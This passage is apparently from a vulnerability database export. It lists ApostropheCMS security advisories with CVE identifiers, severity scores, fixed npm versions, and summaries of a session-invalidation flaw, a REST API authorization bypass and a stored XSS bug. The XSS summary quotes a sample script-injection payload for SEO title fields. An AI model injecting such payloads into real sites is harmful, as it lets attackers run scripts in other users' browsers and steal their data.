reference_id GHSA-c276-fj82-f2pq
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-c276-fj82-f2pq
5
reference_url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-c276-fj82-f2pq
reference_id GHSA-c276-fj82-f2pq
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-16T13:40:14Z/
url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-c276-fj82-f2pq
fixed_packages
0
url pkg:npm/apostrophe@4.29.0
purl pkg:npm/apostrophe@4.29.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-9jxc-az1j-3qex
1
vulnerability VCID-jkpm-13y1-5yfj
2
vulnerability VCID-wscg-efgt-e7bw
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@4.29.0
aliases CVE-2026-39857, GHSA-c276-fj82-f2pq
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-pt6d-cm84-e7c4
7
url VCID-qa7n-2hgf-xbbn
vulnerability_id VCID-qa7n-2hgf-xbbn
summary Apostrophe CMS versions prior to 3.3.1 did not invalidate existing login sessions when disabling a user account or changing the password, creating a situation in which a device compromised by a third party could not be locked out by those means. As a mitigation for older releases the user account in question can be archived (3.x) or moved to the trash (2.x and earlier) which does disable the existing session.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2021-25979
reference_id
reference_type
scores
0
value 0.0035
scoring_system epss
scoring_elements 0.58014
published_at 2026-06-13T12:55:00Z
1
value 0.0035
scoring_system epss
scoring_elements 0.57887
published_at 2026-06-11T12:55:00Z
2
value 0.0035
scoring_system epss
scoring_elements 0.57999
published_at 2026-06-12T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2021-25979
1
reference_url https://github.com/apostrophecms/apostrophe
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/apostrophecms/apostrophe
2
reference_url https://nvd.nist.gov/vuln/detail/CVE-2021-25979
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2021-25979
3
reference_url https://github.com/apostrophecms/apostrophe/commit/c211b211f9f4303a77a307cf41aac9b4ef8d2c7c
reference_id c211b211f9f4303a77a307cf41aac9b4ef8d2c7c
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2025-04-30T15:48:32Z/
url https://github.com/apostrophecms/apostrophe/commit/c211b211f9f4303a77a307cf41aac9b4ef8d2c7c
4
reference_url https://github.com/advisories/GHSA-9j9m-8wjc-ff96
reference_id GHSA-9j9m-8wjc-ff96
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-9j9m-8wjc-ff96
fixed_packages
0
url pkg:npm/apostrophe@3.3.1
purl pkg:npm/apostrophe@3.3.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1nxf-g588-c3ey
1
vulnerability VCID-56a7-tu1w-fua8
2
vulnerability VCID-7fb7-sbm9-u7fa
3
vulnerability VCID-9jxc-az1j-3qex
4
vulnerability VCID-h84b-fbew-d3a3
5
vulnerability VCID-jkpm-13y1-5yfj
6
vulnerability VCID-pt6d-cm84-e7c4
7
vulnerability VCID-t3jk-9ttu-nfgt
8
vulnerability VCID-xez4-ydba-nfdb
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@3.3.1
1
url pkg:npm/apostrophe@3.4.0
purl pkg:npm/apostrophe@3.4.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1nxf-g588-c3ey
1
vulnerability VCID-56a7-tu1w-fua8
2
vulnerability VCID-7fb7-sbm9-u7fa
3
vulnerability VCID-9jxc-az1j-3qex
4
vulnerability VCID-jkpm-13y1-5yfj
5
vulnerability VCID-pt6d-cm84-e7c4
6
vulnerability VCID-t3jk-9ttu-nfgt
7
vulnerability VCID-xez4-ydba-nfdb
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@3.4.0
aliases CVE-2021-25979, GHSA-9j9m-8wjc-ff96
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-qa7n-2hgf-xbbn
8
url VCID-t3jk-9ttu-nfgt
vulnerability_id VCID-t3jk-9ttu-nfgt
summary ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain an authorization bypass vulnerability in the getRestQuery method of the @apostrophecms/piece-type module, where the method checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request, which is processed by applyBuildersSafely before the permission check, pre-populating the projection state and causing the publicApiProjection to be skipped entirely. This allows disclosure of any field on publicly queryable documents that the administrator explicitly restricted from the public API, such as internal notes, draft content, or metadata. Exploitation is trivial, requiring only appending query parameters to a public URL with no authentication. This issue has been fixed in version 4.29.0.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-33888
reference_id
reference_type
scores
0
value 0.0011
scoring_system epss
scoring_elements 0.28995
published_at 2026-06-11T12:55:00Z
1
value 0.0011
scoring_system epss
scoring_elements 0.29217
published_at 2026-06-13T12:55:00Z
2
value 0.0011
scoring_system epss
scoring_elements 0.29199
published_at 2026-06-12T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-33888
1
reference_url https://github.com/apostrophecms/apostrophe
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/apostrophecms/apostrophe
2
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-33888
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-33888
3
reference_url https://github.com/apostrophecms/apostrophe/commit/00d472804bb622df36a761b6f2cf2b33b2d4ce80
reference_id 00d472804bb622df36a761b6f2cf2b33b2d4ce80
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-15T20:03:13Z/
url https://github.com/apostrophecms/apostrophe/commit/00d472804bb622df36a761b6f2cf2b33b2d4ce80
4
reference_url https://github.com/apostrophecms/apostrophe/commit/6c2b548dec2e3f7a82e8e16736603f4cd17525aa
reference_id 6c2b548dec2e3f7a82e8e16736603f4cd17525aa
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-15T20:03:13Z/
url https://github.com/apostrophecms/apostrophe/commit/6c2b548dec2e3f7a82e8e16736603f4cd17525aa
5
reference_url https://github.com/advisories/GHSA-xhq9-58fw-859p
reference_id GHSA-xhq9-58fw-859p
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-xhq9-58fw-859p
6
reference_url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-xhq9-58fw-859p
reference_id GHSA-xhq9-58fw-859p
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-15T20:03:13Z/
url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-xhq9-58fw-859p
fixed_packages
0
url pkg:npm/apostrophe@4.29.0
purl pkg:npm/apostrophe@4.29.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-9jxc-az1j-3qex
1
vulnerability VCID-jkpm-13y1-5yfj
2
vulnerability VCID-wscg-efgt-e7bw
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@4.29.0
aliases CVE-2026-33888, GHSA-xhq9-58fw-859p
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-t3jk-9ttu-nfgt
9
url VCID-xez4-ydba-nfdb
vulnerability_id VCID-xez4-ydba-nfdb
summary ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including <title> tags, <meta> attributes, and JSON-LD structured data. An attacker can inject a payload such as "></title><script>alert(1)</script> to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35569
reference_id
reference_type
scores
0
value 0.00037
scoring_system epss
scoring_elements 0.11528
published_at 2026-06-12T12:55:00Z
1
value 0.00037
scoring_system epss
scoring_elements 0.11521
published_at 2026-06-13T12:55:00Z
2
value 0.00037
scoring_system epss
scoring_elements 0.1145
published_at 2026-06-11T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35569
1
reference_url https://github.com/apostrophecms/apostrophe
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/apostrophecms/apostrophe
2
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35569
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35569
3
reference_url https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3
reference_id 0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-16T14:14:28Z/
url https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3
4
reference_url https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569
reference_id CVE-2026-35569
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-16T14:14:28Z/
url https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569
5
reference_url https://github.com/advisories/GHSA-855c-r2vq-c292
reference_id GHSA-855c-r2vq-c292
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-855c-r2vq-c292
6
reference_url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292
reference_id GHSA-855c-r2vq-c292
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-16T14:14:28Z/
url https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292
fixed_packages
0
url pkg:npm/apostrophe@4.29.0
purl pkg:npm/apostrophe@4.29.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-9jxc-az1j-3qex
1
vulnerability VCID-jkpm-13y1-5yfj
2
vulnerability VCID-wscg-efgt-e7bw
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@4.29.0
aliases CVE-2026-35569, GHSA-855c-r2vq-c292
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-xez4-ydba-nfdb
Fixing_vulnerabilities
Risk_score4.5
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@3.1.2